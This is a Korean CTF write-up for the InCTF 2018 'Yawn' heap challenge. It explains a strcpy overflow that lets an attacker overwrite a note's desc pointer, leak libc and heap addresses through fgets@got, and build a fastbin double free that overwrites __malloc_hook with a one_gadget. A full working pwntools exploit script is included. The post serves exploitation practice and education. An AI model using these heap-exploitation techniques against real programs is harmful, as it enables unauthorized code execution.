Write-up

[InCTF 2018] Yawn writeup

ch4rli3kop 2018. 10. 30. 01:29
반응형


YAWN


위는 add_note 함수를 나타낸 것이다. 취약점은 다음 insert 함수의 strcpy에서 발생한다. 


이 insert 함수를 부르기 전 스택 상황을 보면, 다음과 같다.


먼저, 입력을 name, desc 두 번 받는데, 위의 상황에서는 name에 "AAA..."를 desc에 "00000..."를 입력하였다. 
이 때, 발견할 수 있는 점은, name의 80bytes를 가득 줬을 때, 뒤의 desc부분 또한 strcpy를 통해 table[idx]->name에 복사가 가능하다는 것이다.

다음은 table의 구조를 나타낸다. size 및 desc 뿐만 아니라 그 이상의 영역까지 덮어버릴 수 있음을 알 수 있다.



view_note 함수가 위처럼 table[idx]->desc 포인터를 참조하여 출력해주기 때문에, 해당 위치에 fgets@got(0x601fc0)와 table(0x602040) 값을 넣어주면 libc와 heap을 leak할 수 있다.


그리고, 아래와 같이 remove_note 함수에서는 table[idx]->desc pointer를 이용하여 free를 하기 때무넹, 한 table의 desc를 다른 table로 가리키게 하면, 두 table을 remove 했을 때, double free가 가능하게 할 수 있다. 



정리
[+] 포인트 : 
  • strcpy 취약점을 이용한 덮어쓰기.
  • table[idx]->desc pointer를 이용한 libc 및 heap address leak.
  • 마찬가지로 table[idx]->desc pointer를 이용한 double free.


[+] 시나리오 : 
  1. libc base와 heap base를 leak함.
  2. malloc_hook 쪽 메모리를 할당하기 위해서는 0x70 size의 chunk를 free해야함. 마침 table의 size가 0x70임.
  3. 따라서, 어떤 table에서 table[idx]->desc pointer를 다른 table의 table[idx]->name 값으로 지정하면, 해당 name을 가리키는 pointer는 두 개가 됨.
  4. idx 3번의 desc pointer를 idx 2번의 name의 주소로 지정한다면, free(idx 2) -> free(idx 4) -> free(idx 3) 진행 시, double free가 됨.
  5. 0x70 size에 맞추어 할당을 잘 받고, double free된 fd에 malloc_hook 쪽의 할당가능한 메모리 주소 값을 입력해주면, 차후 malloc_hook을 덮어쓸 수 있게됨.
  6. malloc_hook을 one_gadget으로 덮어씀.



Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python 2.7
from pwn import *
 
= process("./yawn", env = {'LD_PRELOAD':'./libc.so.6'})
#r = process('./yawn_patched')
 
#context.log_level = 'debug'
 
 
breakpoint = { 'add_note':0x400ae8'add1':0x400c0b'edit_note':0x400c88'remove_note':0x400e50'view_note':0x400f0a }
 
 
def add_note(name, desc):
    r.sendlineafter(">> ","1")
    r.sendafter("Enter name: ",name)
    r.sendafter("Enter desc: ",desc)
 
def view_note(idx):
    r.sendlineafter(">> ",'4')
    r.sendafter("Enter idx: ",idx)
 
def remove_note(idx):
    r.sendlineafter(">> ","3")
    r.sendafter('Enter idx: ',idx)
 
def edit_note(idx, name, size, desc):
    r.sendlineafter(">> "'2')
    r.sendafter("Enter index: ",idx)
    r.sendafter("Enter name: ",name)
    r.sendafter("Enter size: ",size)
    r.sendafter("Enter desc: ",desc)
 
 
pause()
 
#### libc leak ####
add_note("A"*80"0"*0x8 + p64(0x601fc0+ '\n')   # fgets@got leak 0x601fc0
view_note('0')
 
r.recvuntil("Description : ")
leak = u64(r.recv(6).ljust(8,'\x00'))
libc_base = leak - 449232
 
success("libc_base = {}".format(hex(libc_base)))
 
malloc_hook = libc_base + 3951376
success("malloc_hook = {}".format(hex(malloc_hook)))
 
#### heap leak ####
table = 0x602040
 
add_note("A"*80'1'*8 + p64(table) + '\n')
view_note('1')
 
r.recvuntil("Description : ")
leak = u64(r.recvline()[:-1].ljust(8,'\x00'))
heap_table = leak
 
success('heap_table_start = {}'.format(hex(heap_table)))
 
 
#### exploit ####
add_note('A'*50 + '\n''2'*8 + '\n')
add_note('A'*80'3'*0x8 + p64(heap_table + 288+ '\n')
add_note('A'*50 + '\n''4'*8 + '\n')
 
 
remove_note('2')
remove_note('4')
remove_note('3')
 
 
edit_note('0','A'*50 + '\n'str(100+ '\n''A'*(0x60-1+ '\n')
 
add_note(p64(libc_base + 3951341+ '\n''5'*8 + '\n'# allocate &__malloc_hook + 35
add_note('A'*50 + '\n''6'*8 + '\n')
add_note('A'*50 + '\n''7'*8 + '\n')
 
one_gadget = libc_base + 0xf02a4
success('one_gadget = {}'.format(hex(one_gadget)))
 
add_note('A'*19 + p64(one_gadget) + '\n''8'*8+'\n'# write malloc_hook
 
add_note('A' + '\n''A' + '\n')
 
# gdb.attach(r,'break {}'.format(breakpoint['view_note']))
 
# view_note('0')
 
 
r.interactive()
 
 
 
cs





###################### feedback #########################
printf@got 나 alarm@got로 왜 안되나 했더니 둘 다 libc 주소가 00으로 끝난다..

fgets()로 입력받는 것들은 r.sendafter 써야 하는듯? 안 하면 버퍼에 '\n'라 계속 들어있는 문제가 발생해서 다음 입력이 안 먹힘

&__malloc_hook 쪽에 바로 free를 시켜서 공간을 할당받지는 못함. 






반응형

'Write-up' 카테고리의 다른 글

[RITSEC 2018] write up  (0) 2018.11.19
[InCTF 2018] Lost writeup  (0) 2018.11.06
[InCTF 2018] Magical Radio writeup  (0) 2018.10.20
[InCTF 2018] writeup  (0) 2018.10.16
[CSAW 2018] writeup  (0) 2018.09.21